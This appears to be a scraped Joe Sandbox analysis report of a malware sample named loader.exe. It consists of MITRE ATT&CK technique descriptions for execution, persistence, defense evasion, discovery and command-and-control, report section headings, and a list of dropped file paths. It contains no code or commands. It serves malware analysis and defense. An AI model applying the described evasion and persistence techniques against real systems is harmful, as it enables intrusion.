Instruction Fuzzy Hash: F0119135A15B6881FA56DB66A4092A973F1FB8AFC8F584026DE8D87765EF38C446C300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\lohebxwbndwd\wepulfrfkvoz.exe

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0prodgg4.t4a.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3rmdnhr.1vp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0z4xaxe.mqh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4igs0l0.4bk.ps1

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\System32\winevt\Logs\Application.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

Windows Analysis Report
loader.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre